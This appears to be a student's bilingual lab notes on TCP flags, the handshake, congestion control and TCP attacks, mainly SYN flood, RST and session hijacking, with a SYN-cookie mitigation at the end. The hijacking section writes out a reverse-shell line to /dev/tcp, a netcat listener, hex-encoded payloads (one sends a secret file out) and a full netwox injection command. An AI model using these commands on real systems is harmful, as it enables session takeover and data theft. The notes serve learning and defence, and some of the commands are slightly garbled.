TCP Attack
Flags field (6 bits) contains the various flags:
URG—Indicates that some urgent data has been placed.
ACK—Indicates that acknowledgement number is valid.
PSH—Indicates that data should be passed to the application as soon as possible.(even the buffer is not full, the data will also be sent)
RST—Resets the connection.
SYN—Synchronizes sequence numbers to initiate a connection.
FIN—Means that the sender of the flag has finished sending data.
- Sequence Number field (32 bits) specifies the number assigned to the first byte of data in the current message. Under certain circumstances, it can also be used to identify an initial sequence number to be used in the upcoming transmission.
- Acknowledgement Number field (32 bits) contains the value of the next sequence number that the sender of the segment is expecting to receive, if the ACK control bit is set. Note that the sequence number refers to the stream flowing in the same direction as the segment, while the acknowledgement number refers to the stream flowing in the opposite direction from the segment.
Window field (16 bits) specifies the size of the sender's receive window (that is, buffer space available for incoming data).
TCP hand-shakes
- A first sends the SYN request connection with its Initial number(ISN).
- After receiving the request, B will tell A that I am connected. How to prove that A is the real A? B will add 1 to the "ISN" sent by A, put it in the ACK, and then take its own "ISN". ACK also represents the first bytes expected next time.
- After A receives it, it adds the "ISN" number of B to 1 and sends an ACK to B. Complete three handshakes at this point.
- The first is SYN, the second SYN+ACK, and the third ACK.
Close the TCP connection
IP 9 Sends a close request to IP 6 to close the connection. The response that B send back to A, SEQ and ACK are just swapping positions, not incrementing. Since closed requests are not expected the next data packet so that will not +1.
RST close abnormally
For example, if A and B have established a connection, then A sends a connection request to B again, then A will receive B's RST abnormal shutdown information.
Attack
Synflood attack:
Send many SYN requests without the next connection, and let victim establish a half-open connection to wait for the next request, block the TCP Queue, resulting in DOS.
RST attack:
A and server B established a TCP connection, at this time C forged a TCP packet sent to B, so that B broke the TCP connection between A and abnormal RST attack.
The prerequirement is that we must find the source IP and the source port.
The serial number is corresponding to the sliding window. The forged TCP packet needs to fill in the serial number. If the serial number is not in the sliding window, B will be discarded the packet. This can be solved by brute force.
TCP conjesting Window
Besides sliding window, TCP also has congesting window. If window size is too large, it may influence the router. When the router blocked, the connection window will be minimized.
TCP can use the congestion window (cwnd) and the receiver window (rwnd) to control and avoid network congestion. The amount of data that can be transmitted through a TCP connection is dependent on the congestion window, which is maintained by the source. The receiver window is maintained by the destination.
The congestion window size keeps increasing up to the maximum receiver window, or until the network reaches its limit. However, the rate of sending data is bound to the congestion window, and even when the receiver window is large, the congestion window may be smaller – especially if the network does not support transmitting data equivalent to the maximum RWND size.
TCP analyzes the path to the destination and adjusts the congestion window size to reach an optimal send rate with minimal packet loss and congestion.
TCP hijack attack (Netwox or scapy)
Through reverse shell attack (-r/bin/ bash-i >& /dev/ TCP /victim 'sIP/ listening port such as 9090 0>&1) the attacker should listen in advance (nc-l 9090)
Packet capture via Wireshark, we get the sequence Number and acknowledge number of the packet sent by the last client to the Server. Then we take these to fake TCP packets, which contain its payload, such as 'cat' and 'rm'. Sequence Number can be added to a small number to reserve some place so that the client type some characters before reaching the SN. That is because the client is sending messages in real life, so reserved is more possible to success.
netwox
先转码,记得前后带有\n 用来回车执行命令。
"\n/bin/bash -i > /dev/tcp/10.0.2.9/9090 0<&1 2>&1\n".encode("hex")
‘636174202f686f6d652f736565642f736563726574203e202f6465762f7463702f31302e302e322e392f39303930'
window size不能设为0,不然会拒绝收包。
sudo netwox 40 -l 10.0.2.7 -m 10.0.2.6 -o 60704 -p 23 -q 3969416754 -r 913711771 -z -E 5000 -H "0a2f62696e2f62617368202d69203e202f6465762f7463702f31302e302e322e392f3930393020303c263120323e26310a"
执行成功后,会发现,sequence number对不上(aknowledge number 或者sequence number看以哪边来看)
因为多了几个payload,导致后面的顺序乱了,真正的包来的时候就会被丢弃,
server收到我们的包后会回复加了payload 的sequence number,但是client端不知道多出来的这部分。不认识server发来的这个包,就会丢弃。server就会觉得包lost了,就会一直retransmit,然后一直被client drop。而我们已经占用了client的sequence number,所以当user再发重复的sequence number 的包,server就会说这说duplicate data,client就会一直发送。陷入死锁,client端也输入不动,freeze掉了。然后TCP连接就会断掉。
The injected data by the attacker messes up the sequence number from User to Server. When Server replies to our spoofed packet, it acknowledges the sequence number (plus the payload size) created by us, but User has not reached that number yet, so it simply discards the reply packet from Server and will not acknowledge receiving the packet. Without being acknowledged, Server thinks that its packet is lost, so it keeps retransmitting the packet, which keeps getting dropped by User. On the other end, when we type something in the telnet program on User, the sequence number used by the client has already been used by our attack packet, so the server will ignore these data, treating them as duplicate data. Without getting any acknowledgment, the client will keep resending the data. Basically, the client and the server will enter a deadlock, and keep resending their data to each other and dropping the data from the other side. After a while, TCP will disconnect the connection. Figure 16.9 illustrates why the client freezes. As shown in Figure 16.9, assume that the current sequence number from User to Server is x, and the other direction is y. Now the attacker sends a spoofed packet to the server with a sequence number x, which leads to the success of attack. After that, Server sends the response to the real client, and at the same time sets the ACK field to x+8 to notify the real client that it has received the packet. When the client receives the response packet, it gets confused, because it has not sent any data beyond x yet, how can the server acknowledge x + 8? Something must be wrong. Therefore, the client ignores this response packet, and never acknowledges it, causing the server to keep resending the same packet.
Mitigation
How to prevent Synflood attacks
A more effective method is to set the SYN cookie.
When the server receives a TCP SYN packet, instead of assigning a data area, a cookie value is calculated based on the SYN packet(timestamp and queue overflow within 3 seconds). And this cookie is set as the SYN+ACK packet's ISN, so that when the client sent the ACK, the ACK will be ISN+1. In this case, the server don't need to save the cookie. The resources are allocated to establish the connection only when compared as the same.
Defect: some features of the TCP will not be lost, such as the timeout retransmission. Also calculating the cookie will increase the delay time and occupy the server's resource, it also can make another DOS.